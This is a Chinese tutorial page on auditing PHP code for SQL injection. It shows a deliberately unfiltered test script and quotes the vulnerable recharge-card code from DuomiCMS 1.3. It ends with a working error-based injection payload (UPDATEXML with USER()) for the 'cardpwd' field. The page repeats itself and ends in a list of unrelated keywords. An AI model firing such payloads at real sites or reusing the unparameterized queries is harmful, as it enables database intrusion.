PHP代码审计SQL注入篇
发表于:2025-11-07 作者:千家信息网编辑
千家信息网最后更新 2025年11月07日,什么是SQL注入SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶
千家信息网最后更新 2025年11月07日PHP代码审计SQL注入篇
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
来自为知笔记(Wiz)
什么是SQL注入
SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使***者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将***者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了***者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
测试代码如下:
php$uid=$_GET['id'];$sql="SELECT * FROM userinfo where id=$uid";$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn);$result=mysql_query($sql,$conn);print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result));?>
$uid=$_GET['id']; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn); //数据库配配置
$result=mysql_query($sql,$conn); //进行查询SQL语句
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
if(empty($_SESSION['duomi_user_id'])){showMsg("请先登录","login.php");exit();}elseif($dm=='mypay'){$key=$_POST['cardkey'];if($key==""){showMsg("请输入充值卡号","-1");exit;}$pwd=$_POST['cardpwd'];if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}$sqlt="SELECT * FROM duomi_card where ckey='$key'";$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";$row1 = $dsql->GetOne($sqlt);if(!is_array($row1) OR $row1['status']<>0){showMsg("充值卡信息有误","-1");exit;}else{$uname=$_SESSION['duomi_user_name'];$points=$row1['climit'];$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");showMsg("恭喜!充值成功!","mypay.php");exit;}}else{
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
http://localhost/member/mypay.php?dm=mypayPOST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
来自为知笔记(Wiz)
查询
语句
数据
数据库
用户
代码
输入
信息
恶意
文件
成功
命令
实例
方式
权限
漏洞
程序
系统
结果
充值卡
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
纺织软件开发广州
点击web页面按钮查询数据库
金凤区政务软件开发排行榜
广东龙锦网络技术有限公司
网络安全技术只能拷贝吗
携程软件开发校招笔试
黟县软件开发者
计算机网络技术群名
超星电子数据库人工客服电话
搜狗网络技术有限公司邮政编码
vpn服务器的功能
导致危害网络安全后果法定条件
深圳卓远网络技术有限公司
金控集团软件开发题目
大学生网络安全 意识
软件开发技术实验小结
php导入数据库网页不显示
华为5g网络安全设置
原神小米渠道服云服务器
工程机械设备数据库
宝鸡市网络安全和信息化委员会
怎么创造服务器不要钻石手机版
鼎桥终端应用软件开发
深圳市蓝谷网络技术有限公司
网络安全实用类文本阅读
数据库管理系统是在什么基础上
武进区网络安全名单
蚌埠信息中心网络安全排查
税务部门对网络安全
互联网展台科技馆设计